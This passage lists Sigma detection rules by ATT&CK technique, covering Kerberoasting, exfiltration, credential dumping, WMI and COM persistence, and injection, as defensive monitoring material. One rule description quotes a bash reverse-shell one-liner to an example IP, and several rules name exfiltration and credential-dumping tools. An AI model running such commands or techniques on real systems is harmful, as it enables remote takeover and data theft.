high Description: Detects a method often used by ransomware. Which combines the "ping" to wait a couple of seconds and then "del" to delete the file in question. Its used to hide the file responsible for the initial infection for example Directory Removal Via Rmdir - Level: low Description: Detects execution of the builtin "rmdir" command in order to delete directories. Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint. ADS Zone.Identifier Deleted - Level: low Description: Detects the deletion of the "Zone.Identifier" ADS. Attackers can leverage this in order to bypass security restrictions that make use of the ADS such as Microsoft Office apps. Use Of Remove-Item to Delete File - ScriptBlock - Level: low Description: PowerShell Remove-Item with -Path to delete a file or a folder with "-Recurse"
attack.t1558.003	16	Show Rules (16) Kerberos Network Traffic RC4 Ticket Encryption - Level: medium Description: Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting Kerberoasting Activity - Initial Query - Level: medium Description: This rule will collect the data needed to start looking into possible kerberoasting activity. Further analysis or computation within the query is needed focusing on requests from one specific host/IP towards multiple service names within a time period of 5 seconds. You can then set a threshold for the number of requests and time between the requests to turn this into an alert. Register new Logon Process by Rubeus - Level: high Description: Detects potential use of Rubeus via registered new trusted logon process Uncommon Outbound Kerberos Connection - Security - Level: medium Description: Detects uncommon outbound network activity via Kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation. Suspicious Kerberos RC4 Ticket Encryption - Level: medium Description: Detects service ticket requests using RC4 encryption type User Couldn't Call a Privileged Service 'LsaRegisterLogonProcess' - Level: high Description: The 'LsaRegisterLogonProcess' function verifies that the application making the function call is a logon process by checking that it has the SeTcbPrivilege privilege set. Possible Rubeus tries to get a handle to LSA. Potential CVE-2021-42287 Exploitation Attempt - Level: medium Description: The attacker creates a computer object using those permissions with a password known to her. After that she clears the attribute ServicePrincipalName on the computer object. Because she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object. No Suitable Encryption Key Found For Generating Kerberos Ticket - Level: low Description: Detects errors when a target server doesn't have suitable keys for generating kerberos tickets. This issue can occur for example when a service uses a user account or a computer account that is configured for only DES encryption on a computer that is running Windows 7 which has DES encryption for Kerberos authentication disabled. HackTool - Rubeus Execution - ScriptBlock - Level: high Description: Detects the execution of the hacktool Rubeus using specific command line flags Request A Single Ticket via PowerShell - Level: high Description: utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer. This behavior is typically used during a kerberos or silver ticket attack. A successful execution will output the SPNs for the endpoint in question. HackTool - KrbRelay Execution - Level: high Description: Detects the use of KrbRelay, a Kerberos relaying tool HackTool - KrbRelayUp Execution - Level: high Description: Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in Windows domain environments where LDAP signing is not enforced HackTool - RemoteKrbRelay Execution - Level: high Description: Detects the use of RemoteKrbRelay, a Kerberos relaying tool via CommandLine flags and PE metadata. HackTool - Rubeus Execution - Level: critical Description: Detects the execution of the hacktool Rubeus via PE information of command line parameters Potential SPN Enumeration Via Setspn.EXE - Level: medium Description: Detects service principal name (SPN) enumeration used for Kerberoasting Potential CVE-2021-42278 Exploitation Attempt - Level: medium Description: The attacker creates a computer object using those permissions with a password known to her. After that she clears the attribute ServicePrincipalName on the computer object. Because she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.
attack.t1048.003	15	Show Rules (15) Data Exfiltration with Wget - Level: medium Description: Detects attempts to post the file with the usage of wget utility. The adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow. Suspicious DNS Query with B64 Encoded String - Level: medium Description: Detects suspicious DNS queries using base64 encoding WebDav Put Request - Level: low Description: A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration. Suspicious Outbound SMTP Connections - Level: medium Description: Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. PowerShell ICMP Exfiltration - Level: medium Description: Detects Exfiltration Over Alternative Protocol - ICMP. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. Suspicious WebDav Client Execution Via Rundll32.EXE - Level: high Description: Detects "svchost.exe" spawning "rundll32.exe" with command arguments like C:\windows\system32\davclnt.dll,DavSetCookie. This could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server) or potentially a sign of exploitation of CVE-2023-23397 WebDav Client Execution Via Rundll32.EXE - Level: medium Description: Detects "svchost.exe" spawning "rundll32.exe" with command arguments like "C:\windows\system32\davclnt.dll,DavSetCookie". This could be an indicator of exfiltration or use of WebDav to launch code (hosted on a WebDav server). Potential Data Exfiltration Over SMTP Via Send-MailMessage Cmdlet - Level: medium Description: Detects the execution of a PowerShell script with a call to the "Send-MailMessage" cmdlet along with the "-Attachments" flag. This could be a potential sign of data exfiltration via Email. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Possible DNS Tunneling - Level: high Description: Normally, DNS logs contain a limited amount of different dns queries for a single domain. This rule detects a high amount of queries for a single domain, which can be an indicator that DNS is used to transfer data. High DNS Bytes Out - Level: medium Description: High DNS queries bytes amount from host per short period of time High NULL Records Requests Rate - Level: medium Description: Extremely high rate of NULL record type DNS requests from host per short period of time. Possible result of iodine tool execution High DNS Requests Rate - Level: medium Description: High DNS requests amount from host per short period of time High TXT Records Requests Rate - Level: medium Description: Extremely high rate of TXT record type DNS requests from host per short period of time. Possible result of Do-exfiltration tool execution High DNS Bytes Out - Firewall - Level: medium Description: High DNS queries bytes amount from host per short period of time High DNS Requests Rate - Firewall - Level: medium Description: High DNS requests amount from host per short period of time
attack.t1087.001	14	Show Rules (14) AzureHound PowerShell Commands - Level: high Description: Detects the execution of AzureHound in PowerShell, a tool to gather data from Azure for BloodHound Local System Accounts Discovery - Linux - Level: low Description: Detects enumeration of local systeam accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior. Local System Accounts Discovery - MacOs - Level: low Description: Detects enumeration of local systeam accounts on MacOS Cisco Collect Data - Level: low Description: Collect pertinent data from the configuration files BloodHound Collection Files - Level: high Description: Detects default file names outputted by the BloodHound collection tool SharpHound Malicious PowerShell Commandlets - PoshModule - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks Malicious PowerShell Commandlets - ScriptBlock - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks HackTool - Bloodhound/Sharphound Execution - Level: high Description: Detects command line parameters used by Bloodhound and Sharphound hack tools Suspicious Group And Account Reconnaissance Activity Using Net.EXE - Level: medium Description: Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE Check if the user that executed the commands is suspicious (e.g. service accounts, LOCAL_SYSTEM) Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet - Level: medium Description: Detects suspicious reconnaissance command line activity on Windows systems using the PowerShell Get-LocalGroupMember Cmdlet Malicious PowerShell Commandlets - ProcessCreation - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks Local Accounts Discovery - Level: low Description: Local accounts, System Owner/User discovery using operating systems utilities Suspicious Use of PsLogList - Level: medium Description: Detects usage of the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery or delete events logs Net.EXE Execution - Level: low Description: Detects execution of "Net.EXE".
attack.t1036.005	14	Show Rules (14) Creation Of Pod In System Namespace - Level: medium Description: Detects deployments of pods within the kube-system namespace, which could be intended to imitate system pods. System pods, created by controllers such as Deployments or DaemonSets have random suffixes in their names. Attackers can use this fact and name their backdoor pods as if they were created by these controllers to avoid detection. Deployment of such a backdoor container e.g. named kube-proxy-bv61v, could be attempted in the kube-system namespace alongside the other administrative containers. Flash Player Update from Suspicious Location - Level: high Description: Detects a flashplayer update from an unofficial location Files With System DLL Name In Unsuspected Locations - Level: medium Description: Detects the creation of a file with the ".dll" extension that has the name of a System DLL in uncommon or unsuspected locations. (Outisde of "System32", "SysWOW64", etc.). It is highly recommended to perform an initial baseline before using this rule in production. Files With System Process Name In Unsuspected Locations - Level: medium Description: Detects the creation of an executable with a system process name in folders other than the system ones (System32, SysWOW64, etc.). It is highly recommended to perform an initial baseline before using this rule in production. Suspicious Files in Default GPO Folder - Level: medium Description: Detects the creation of copy of suspicious files (EXE/DLL) to the default GPO storage folder Potential MsiExec Masquerading - Level: high Description: Detects the execution of msiexec.exe from an uncommon directory Suspicious Scheduled Task Creation via Masqueraded XML File - Level: medium Description: Detects the creation of a scheduled task using the "-XML" flag with a file without the '.xml' extension. This behavior could be indicative of potential defense evasion attempt during persistence Windows Processes Suspicious Parent Directory - Level: low Description: Detect suspicious parent processes of well-known Windows processes Suspicious Process Masquerading As SvcHost.EXE - Level: high Description: Detects a suspicious process that is masquerading as the legitimate "svchost.exe" by naming its binary "svchost.exe" and executing from an uncommon location. Adversaries often disguise their malicious binaries by naming them after legitimate system processes like "svchost.exe" to evade detection. Uncommon Svchost Parent Process - Level: medium Description: Detects an uncommon svchost parent process Exploit for CVE-2015-1641 - Level: critical Description: Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641 Lazarus System Binary Masquerading - Level: high Description: Detects binaries used by the Lazarus group which use system names but are executed and launched from non-default location Greenbug Espionage Group Indicators - Level: critical Description: Detects tools and process executions used by Greenbug in their May 2020 campaign as reported by Symantec Small Sieve Malware File Indicator Creation - Level: high Description: Detects filename indicators that contain a specific typo seen used by the Small Sieve malware.
attack.t1136.001	14	Show Rules (14) Creation Of An User Account - Level: medium Description: Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system. Privileged User Has Been Created - Level: high Description: Detects the addition of a new user to a privileged group such as "root" or "sudo" Creation Of A Local User Account - Level: low Description: Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system. Cisco Local Accounts - Level: high Description: Find local accounts being created or modified as well as remote authentication configurations Hidden Local User Creation - Level: high Description: Detects the creation of a local hidden user account which should not happen for event ID 4720. Suspicious Windows ANONYMOUS LOGON Local Account Created - Level: high Description: Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts. Local User Creation - Level: low Description: Detects local user creation on Windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your Windows server logs and not on your DC logs. PowerShell Create Local User - Level: medium Description: Detects creation of a local user via PowerShell New User Created Via Net.EXE - Level: medium Description: Identifies the creation of local users via the net.exe command. New User Created Via Net.EXE With Never Expire Option - Level: high Description: Detects creation of local users via the net.exe command with the option "never expire" User Added to Remote Desktop Users Group - Level: high Description: Detects addition of users to the local Remote Desktop Users group via "Net" or "Add-LocalGroupMember". Creation of a Local Hidden User Account by Registry - Level: high Description: Sysmon registry detection of a local hidden user account. Serv-U Exploitation CVE-2021-35211 by DEV-0322 - Level: critical Description: Detects patterns as noticed in exploitation of Serv-U CVE-2021-35211 vulnerability by threat group DEV-0322 DarkGate - User Created Via Net.EXE - Level: high Description: Detects creation of local users via the net.exe command with the name of "DarkGate"
attack.t1021.001	14	Show Rules (14) Publicly Accessible RDP Service - Level: high Description: Detects connections from routable IPs to an RDP listener. Which is indicative of a publicly-accessible RDP service. Denied Access To Remote Desktop - Level: medium Description: This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this computer through Remote Desktop. Often, this event can be generated by attackers when searching for available windows servers in the network. RDP over Reverse SSH Tunnel WFP - Level: high Description: Detects svchost hosting RDP termsvcs communicating with the loopback address RDP Login from Localhost - Level: high Description: RDP login with localhost source address may be a tunnelled login Outbound RDP Connections Over Non-Standard Tools - Level: high Description: Detects Non-Standard tools initiating a connection over port 3389 indicating possible lateral movement. An initial baseline is required before using this utility to exclude third party RDP tooling that you might use. RDP Over Reverse SSH Tunnel - Level: high Description: Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389 RDP to HTTP or HTTPS Target Ports - Level: high Description: Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443 New Remote Desktop Connection Initiated Via Mstsc.EXE - Level: medium Description: Detects the usage of "mstsc.exe" with the "/v" flag to initiate a connection to a remote server. Adversaries may use valid accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user. Suspicious Plink Port Forwarding - Level: high Description: Detects suspicious Plink tunnel port forwarding to a local port Potential Tampering With RDP Related Registry Keys Via Reg.EXE - Level: high Description: Detects the execution of "reg.exe" for enabling/disabling the RDP service on the host by tampering with the 'CurrentControlSet\Control\Terminal Server' values Port Forwarding Activity Via SSH.EXE - Level: medium Description: Detects port forwarding activity via SSH.exe User Added to Remote Desktop Users Group - Level: high Description: Detects addition of users to the local Remote Desktop Users group via "Net" or "Add-LocalGroupMember". Suspicious RDP Redirect Using TSCON - Level: high Description: Detects a suspicious RDP session redirect using tscon.exe Hermetic Wiper TG Process Patterns - Level: high Description: Detects process execution patterns found in intrusions related to the Hermetic Wiper malware attacks against Ukraine in February 2022
attack.t1069.002	13	Show Rules (13) AzureHound PowerShell Commands - Level: high Description: Detects the execution of AzureHound in PowerShell, a tool to gather data from Azure for BloodHound Potential Active Directory Reconnaissance/Enumeration Via LDAP - Level: medium Description: Detects potential Active Directory enumeration via LDAP Reconnaissance Activity - Level: high Description: Detects activity as "net user administrator /domain" and "net group domain admins /domain" BloodHound Collection Files - Level: high Description: Detects default file names outputted by the BloodHound collection tool SharpHound Malicious PowerShell Commandlets - PoshModule - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks Active Directory Group Enumeration With Get-AdGroup - Level: low Description: Detects usage of the "Get-AdGroup" cmdlet to enumerate Groups within Active Directory Malicious PowerShell Commandlets - ScriptBlock - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks HackTool - Bloodhound/Sharphound Execution - Level: high Description: Detects command line parameters used by Bloodhound and Sharphound hack tools HackTool - SharpView Execution - Level: high Description: Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems Malicious PowerShell Commandlets - ProcessCreation - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks PUA - AdFind Suspicious Execution - Level: high Description: Detects AdFind execution with common flags seen used during attacks Renamed AdFind Execution - Level: high Description: Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain. Net.EXE Execution - Level: low Description: Detects execution of "Net.EXE".
attack.t1003.004	12	Show Rules (12) Credential Dumping Tools Service Execution - Level: critical Description: Detects well-known credential dumping tools execution via service execution events Possible Impacket SecretDump Remote Activity - Zeek - Level: high Description: Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml Mimikatz Use - Level: high Description: This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups) DPAPI Domain Backup Key Extraction - Level: high Description: Detects tools extracting LSA secret DPAPI domain backup key from Domain Controllers DPAPI Domain Master Key Backup Attempt - Level: medium Description: Detects anyone attempting a backup for the DPAPI Master Key. This events gets generated at the source and not the Domain Controller. Possible Impacket SecretDump Remote Activity - Level: high Description: Detect AD credential dumping using impacket secretdump HKTL Credential Dumping Tools Service Execution - Security - Level: high Description: Detects well-known credential dumping tools execution via service execution events Credential Dumping Tools Service Execution - System - Level: high Description: Detects well-known credential dumping tools execution via service execution events Cred Dump Tools Dropped Files - Level: high Description: Files with well-known filenames (parts of credential dump software or files produced by them) creation HackTool - Credential Dumping Tools Named Pipe Created - Level: critical Description: Detects well-known credential dumping tools execution via specific named pipe creation HackTool - Mimikatz Execution - Level: high Description: Detection well-known mimikatz command line arguments Dumping of Sensitive Hives Via Reg.EXE - Level: high Description: Detects the usage of "reg.exe" in order to dump sensitive registry hives. This includes SAM, SYSTEM and SECURITY hives.
attack.t1567.002	12	Show Rules (12) RClone Execution - Level: high Description: Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc Rclone Execution via Command Line or PowerShell - Level: high Description: Detects Rclone which is commonly used by ransomware groups for exfiltration Rclone Activity via Proxy - Level: medium Description: Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string DNS Query for Anonfiles.com Domain - DNS Client - Level: high Description: Detects DNS queries for anonfiles.com, which is an anonymous file upload platform often used for malicious purposes DNS Query To MEGA Hosting Website - DNS Client - Level: medium Description: Detects DNS queries for subdomains related to MEGA sharing website DNS Query To Ufile.io - DNS Client - Level: low Description: Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration DNS Query for Anonfiles.com Domain - Sysmon - Level: high Description: Detects DNS queries for "anonfiles.com", which is an anonymous file upload platform often used for malicious purposes DNS Query To MEGA Hosting Website - Level: medium Description: Detects DNS queries for subdomains related to MEGA sharing website DNS Query To Ufile.io - Level: low Description: Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration Rclone Config File Creation - Level: medium Description: Detects Rclone config files being created PUA - Rclone Execution - Level: high Description: Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc APT40 Dropbox Tool User Agent - Level: high Description: Detects suspicious user agent string of APT40 Dropbox tool
attack.t1546.003	12	Show Rules (12) WMI Persistence - Security - Level: medium Description: Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs. WMI Persistence - Level: medium Description: Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs. WMI Persistence - Script Event Consumer File Write - Level: high Description: Detects file writes of WMI script event consumer WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load - Level: medium Description: Detects signs of the WMI script host process "scrcons.exe" loading scripting DLLs which could indicates WMI ActiveScriptEventConsumers EventConsumers activity. WMI Persistence - Command Line Event Consumer - Level: high Description: Detects WMI command line event consumers Powershell WMI Persistence - Level: medium Description: Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. New ActiveScriptEventConsumer Created Via Wmic.EXE - Level: high Description: Detects WMIC executions in which an event consumer gets created. This could be used to establish persistence WMI Backdoor Exchange Transport Agent - Level: critical Description: Detects a WMI backdoor in Exchange Transport Agents via WMI event filters WMI Persistence - Script Event Consumer - Level: medium Description: Detects WMI script event consumers WMI Event Subscription - Level: medium Description: Detects creation of WMI event subscription persistence method Suspicious Encoded Scripts in a WMI Consumer - Level: high Description: Detects suspicious encoded payloads in WMI Event Consumers Potential Remote WMI ActiveScriptEventConsumers Activity - Level: medium Description: Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network. This event is best correlated and used as an enrichment to determine the potential lateral movement activity.
attack.t1553.004	11	Show Rules (11) Root Certificate Installed - Level: medium Description: Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Install Root Certificate - Level: low Description: Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s Suspicious Package Installed - Linux - Level: medium Description: Detects installation of suspicious packages using system installation utilities Cisco Crypto Commands - Level: high Description: Show when private keys are being exported from the device, or when new certificates are installed Active Directory Certificate Services Denied Certificate Enrollment Request - Level: low Description: Detects denied requests by Active Directory Certificate Services. Example of these requests denial include issues with permissions on the certificate template or invalid signatures. Root Certificate Installed - PowerShell - Level: medium Description: Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Suspicious X509Enrollment - Ps Script - Level: medium Description: Detect use of X509Enrollment New Root Certificate Installed Via CertMgr.EXE - Level: medium Description: Detects execution of "certmgr" with the "add" flag in order to install a new certificate on the system. Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. New Root Certificate Installed Via Certutil.EXE - Level: medium Description: Detects execution of "certutil" with the "addstore" flag in order to install a new certificate on the system. Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root Certificate Installed From Susp Locations - Level: high Description: Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Suspicious X509Enrollment - Process Creation - Level: medium Description: Detect use of X509Enrollment
attack.t1546.015	11	Show Rules (11) Potential Persistence Via COM Hijacking From Suspicious Locations - Level: high Description: Detects potential COM object hijacking where the "Server" (In/Out) is pointing to a suspicious or unusual location. Potential Persistence Via COM Search Order Hijacking - Level: medium Description: Detects potential COM object hijacking leveraging the COM Search Order Suspicious GetTypeFromCLSID ShellExecute - Level: medium Description: Detects suspicious Powershell code that execute COM Objects Rundll32 Registered COM Objects - Level: high Description: load malicious registered COM objects Potential COM Object Hijacking Via TreatAs Subkey - Registry - Level: medium Description: Detects COM object hijacking via TreatAs subkey Potential Persistence Using DebugPath - Level: medium Description: Detects potential persistence using Appx DebugPath Potential PSFactoryBuffer COM Hijacking - Level: high Description: Detects changes to the PSFactory COM InProcServer32 registry. This technique was used by RomCom to create persistence storing a malicious DLL. COM Object Hijacking Via Modification Of Default System CLSID Default Value - Level: high Description: Detects potential COM object hijacking via modification of default system CLSID. Potential Persistence Via Scrobj.dll COM Hijacking - Level: medium Description: Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute COM Hijacking via TreatAs - Level: medium Description: Detect modification of TreatAs key to enable "rundll32.exe -sta" command SOURGUM Actor Behaviours - Level: high Description: Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM
attack.t1021.003	11	Show Rules (11) DCOM InternetExplorer.Application Iertutil DLL Hijack - Sysmon - Level: critical Description: Detects a threat actor creating a file named `iertutil.dll` in the `C:\Program Files\Internet Explorer\` directory over the network and loading it for a DCOM InternetExplorer DLL Hijack scenario. Remote DCOM/WMI Lateral Movement - Level: high Description: Detects remote RPC calls that performs remote DCOM operations. These could be abused for lateral movement via DCOM or WMI. DCOM InternetExplorer.Application Iertutil DLL Hijack - Security - Level: high Description: Detects a threat actor creating a file named `iertutil.dll` in the `C:\Program Files\Internet Explorer\` directory over the network for a DCOM InternetExplorer DLL Hijack scenario. Potential DCOM InternetExplorer.Application DLL Hijack - Level: critical Description: Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class over the network Potential DCOM InternetExplorer.Application DLL Hijack - Image Load - Level: critical Description: Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class Suspicious WSMAN Provider Image Loads - Level: medium Description: Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution. Suspicious Non PowerShell WSMAN COM Provider - Level: medium Description: Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application. HackTool - Potential Impacket Lateral Movement Activity - Level: high Description: Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework MMC20 Lateral Movement - Level: high Description: Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of "-Embedding" as a child of svchost.exe MMC Spawning Windows Shell - Level: high Description: Detects a Windows command line executable started from MMC Potential Excel.EXE DCOM Lateral Movement Via ActivateMicrosoftApp - Level: high Description: Detects suspicious child processes of Excel which could be an indicator of lateral movement leveraging the "ActivateMicrosoftApp" Excel DCOM object.
attack.t1059.004	11	Show Rules (11) AWS EC2 Startup Shell Script Change - Level: high Description: Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up. Suspicious Commands Linux - Level: medium Description: Detects relevant commands often related to malware or hacking activity Equation Group Indicators - Level: high Description: Detects suspicious shell commands used in various Equation Group scripts and tools Suspicious Activity in Shell Commands - Level: high Description: Detects suspicious shell commands used in various exploit codes (see references) Suspicious Reverse Shell Command Line - Level: high Description: Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell JexBoss Command Sequence - Level: high Description: Detects suspicious command sequence that JexBoss Linux Reverse Shell Indicator - Level: critical Description: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1') BPFtrace Unsafe Option Usage - Level: medium Description: Detects the usage of the unsafe bpftrace option Nohup Execution - Level: medium Description: Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments Interactive Bash Suspicious Children - Level: medium Description: Detects suspicious interactive bash as a parent to rather uncommon child processes Privilege Escalation Preparation - Level: medium Description: Detects suspicious shell commands indicating the information gathering phase as preparation for the Privilege Escalation.
attack.t1587.001	11	Show Rules (11) ProxyLogon MSExchange OabVirtualDirectory - Level: critical Description: Detects specific patterns found after a successful ProxyLogon exploitation in relation to a Commandlet invocation of Set-OabVirtualDirectory Uncommon File Created In Office Startup Folder - Level: high Description: Detects the creation of a file with an uncommon extension in an Office application startup folder VHD Image Download Via Browser - Level: medium Description: Detects creation of ".vhd"/".vhdx" files by browser processes. Malware can use mountable Virtual Hard Disk ".vhd" files to encapsulate payloads and evade security controls. PUA - CsExec Execution - Level: high Description: Detects the use of the lesser known remote execution tool named CsExec a PsExec alternative PsExec/PAExec Escalation to LOCAL SYSTEM - Level: high Description: Detects suspicious commandline flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights Potential PsExec Remote Execution - Level: high Description: Detects potential psexec command that initiate execution on a remote systems via common commandline flags used by the utility Potential Privilege Escalation To LOCAL SYSTEM - Level: high Description: Detects unknown program using commandline flags usually used by tools such as PsExec and PAExec to start programs with SYSTEM Privileges Formbook Process Creation - Level: high Description: Detects Formbook like process executions that inject code into a set of files in the System32 folder, which executes a special command command line to delete the dropper from the AppData Temp folder. We avoid false positives by excluding all parent process with command line parameters. Mustang Panda Dropper - Level: high Description: Detects specific process parameters as used by Mustang Panda droppers Conti Volume Shadow Listing - Level: high Description: Detects a command used by conti to find volume shadow backups Creation of an Executable by an Executable - Level: low Description: Detects the creation of an executable by another executable.
attack.t1574.011	11	Show Rules (11) Service Registry Key Read Access Request - Level: low Description: Detects "read access" requests on the services registry key. Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Service Registry Permissions Weakness Check - Level: medium Description: Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services Suspicious Service DACL Modification Via Set-Service Cmdlet - PS - Level: high Description: Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7) Abuse of Service Permissions to Hide Services Via Set-Service - PS - Level: high Description: Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7) Abuse of Service Permissions to Hide Services Via Set-Service - Level: high Description: Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7) Potential Privilege Escalation via Service Permissions Weakness - Level: high Description: Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level Changing Existing Service ImagePath Value Via Reg.EXE - Level: medium Description: Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services Possible Privilege Escalation via Weak Service Permissions - Level: high Description: Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand Service DACL Abuse To Hide Services Via Sc.EXE - Level: high Description: Detects usage of the "sc.exe" utility adding a new service with special permission seen used by threat actors which makes the service hidden and unremovable. Service Security Descriptor Tampering Via Sc.EXE - Level: medium Description: Detection of sc.exe utility adding a new service with special permission which hides that service. Potential Persistence Attempt Via Existing Service Tampering - Level: medium Description: Detects the modification of an existing service in order to execute an arbitrary payload when the service is started or killed as a potential method for persistence.
attack.t1055.001	10	Show Rules (10) Suspicious In-Memory Module Execution - Level: low Description: Detects the access to processes by other suspicious processes which have reflectively loaded libraries in their memory space. An example is SilentTrinity C2 behaviour. Generally speaking, when Sysmon EventID 10 cannot reference a stack call to a dll loaded from disk (the standard way), it will display "UNKNOWN" as the module name. Usually this means the stack call points to a module that was reflectively loaded in memory. Adding to this, it is not common to see such few calls in the stack (ntdll.dll --> kernelbase.dll --> unknown) which essentially means that most of the functions required by the process to execute certain routines are already present in memory, not requiring any calls to external libraries. The latter should also be considered suspicious. MavInject Process Injection - Level: high Description: Detects process injection using the signed Windows tool Mavinject32.exe HackTool - Potential CobaltStrike Process Injection - Level: high Description: Detects a potential remote threat creation with certain characteristics which are typical for Cobalt Strike beacons ManageEngine Endpoint Central Dctask64.EXE Potential Abuse - Level: high Description: Detects the execution of "dctask64.exe", a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central. This binary can be abused for DLL injection, arbitrary command and process execution. Mavinject Inject DLL Into Running Process - Level: high Description: Detects process injection using the signed Windows tool "Mavinject" via the "INJECTRUNNING" flag Potential DLL Injection Or Execution Using Tracker.exe - Level: medium Description: Detects potential DLL injection and execution using "Tracker.exe" Renamed ZOHO Dctask64 Execution - Level: high Description: Detects a renamed "dctask64.exe" execution, a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central. This binary can be abused for DLL injection, arbitrary command and process execution. Renamed Mavinject.EXE Execution - Level: high Description: Detects the execution of a renamed version of the "Mavinject" process. Which can be abused to perform process injection using the "/INJECTRUNNING" flag TAIDOOR RAT DLL Load - Level: high Description: Detects specific process characteristics of Chinese TAIDOOR RAT malware load CreateRemoteThread API and LoadLibrary - Level: medium Description: Detects potential use of CreateRemoteThread api and LoadLibrary function to inject DLL into a process
